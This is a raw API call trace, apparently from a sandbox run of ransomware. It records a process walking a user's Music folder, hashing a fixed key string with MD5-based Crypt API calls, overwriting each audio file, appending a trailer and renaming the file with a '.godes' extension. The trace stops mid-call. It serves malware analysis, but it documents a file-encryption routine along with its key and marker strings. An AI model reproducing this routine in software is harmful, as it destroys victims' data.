RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.479] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.479] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.479] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.480] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.480] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.480] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.480] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.480] GetLastError () returned 0x0 [0113.480] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.480] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.480] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6450) returned 0x3321120 [0113.480] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.480] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x6448, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x6448, lpOverlapped=0x0) returned 1 [0113.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.481] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x644d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.481] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.481] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.481] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.481] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.481] CloseHandle (hObject=0x624) returned 1 [0113.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.482] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ejdJB5Su3HZ_V.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ejdjb5su3hz_v.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ejdJB5Su3HZ_V.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ejdjb5su3hz_v.mp3.godes")) returned 1 [0113.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.482] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf50d6360, ftCreationTime.dwHighDateTime=0x1d4cb29, ftLastAccessTime.dwLowDateTime=0x42a0acd0, ftLastAccessTime.dwHighDateTime=0x1d4d477, ftLastWriteTime.dwLowDateTime=0x42a0acd0, ftLastWriteTime.dwHighDateTime=0x1d4d477, nFileSizeHigh=0x0, nFileSizeLow=0x10bd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LDJP8fU.m4a", cAlternateFileName="")) returned 1 [0113.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.483] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LDJP8fU.m4a") returned=".m4a" [0113.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LDJP8fU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ldjp8fu.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.484] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=68564) returned 1 [0113.484] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.486] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10bae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.486] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.488] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.488] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.488] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.488] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x10bd4, lpOverlapped=0x0) returned 1 [0113.489] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.489] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.489] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.489] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.489] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.489] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.490] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.490] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.490] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.490] GetLastError () returned 0x0 [0113.490] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.490] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.490] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10bd0) returned 0x3321120 [0113.490] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.490] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x10bcf, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x10bcf, lpOverlapped=0x0) returned 1 [0113.490] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.490] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x10bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.491] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.491] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.491] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.491] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.491] CloseHandle (hObject=0x624) returned 1 [0113.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.492] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.492] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LDJP8fU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ldjp8fu.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LDJP8fU.m4a.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ldjp8fu.m4a.godes")) returned 1 [0113.492] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.493] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.493] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nV -iFyrHbXVLVuM", cAlternateFileName="NV-IFY~1")) returned 1 [0113.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.493] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0113.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9ca8140, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0x2cf29bc0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x2cf29bc0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UFF1TS", cAlternateFileName="")) returned 1 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf400 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x33202d8 [0113.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0113.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.494] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64491eb0, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xfac8a6c0, ftLastAccessTime.dwHighDateTime=0x1d4c944, ftLastWriteTime.dwLowDateTime=0xfac8a6c0, ftLastWriteTime.dwHighDateTime=0x1d4c944, nFileSizeHigh=0x0, nFileSizeLow=0xffba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vGLyTV3-l9LaIg.mp3", cAlternateFileName="VGLYTV~1.MP3")) returned 1 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.494] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.494] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.494] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\vGLyTV3-l9LaIg.mp3") returned=".mp3" [0113.494] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\vGLyTV3-l9LaIg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vglytv3-l9laig.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.494] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=65466) returned 1 [0113.494] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.496] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xff94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.496] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.497] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.497] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.497] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.497] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xffba, lpOverlapped=0x0) returned 1 [0113.498] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.498] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.498] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.498] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.498] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.499] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.499] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.499] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.499] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.499] GetLastError () returned 0x0 [0113.499] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.499] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.499] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xffc0) returned 0x3321120 [0113.500] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.500] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xffb5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xffb5, lpOverlapped=0x0) returned 1 [0113.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.500] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xffba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.500] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.500] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.500] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.500] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.501] CloseHandle (hObject=0x624) returned 1 [0113.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.502] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x880) returned 0x3321120 [0113.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.502] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\vGLyTV3-l9LaIg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vglytv3-l9laig.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\vGLyTV3-l9LaIg.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vglytv3-l9laig.mp3.godes")) returned 1 [0113.502] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.502] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.503] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a89e90, ftCreationTime.dwHighDateTime=0x1d4c7dd, ftLastAccessTime.dwLowDateTime=0x87cd7800, ftLastAccessTime.dwHighDateTime=0x1d4d540, ftLastWriteTime.dwLowDateTime=0x87cd7800, ftLastWriteTime.dwHighDateTime=0x1d4d540, nFileSizeHigh=0x0, nFileSizeLow=0x966f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WeVqD nbZp92oNA.m4a", cAlternateFileName="WEVQDN~1.M4A")) returned 1 [0113.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.503] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.503] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WeVqD nbZp92oNA.m4a") returned=".m4a" [0113.503] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\WeVqD nbZp92oNA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wevqd nbzp92ona.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.504] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=38511) returned 1 [0113.504] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.506] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.506] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.507] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.507] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.507] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.507] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x966f, lpOverlapped=0x0) returned 1 [0113.508] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.508] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.508] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.508] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.509] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.509] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, 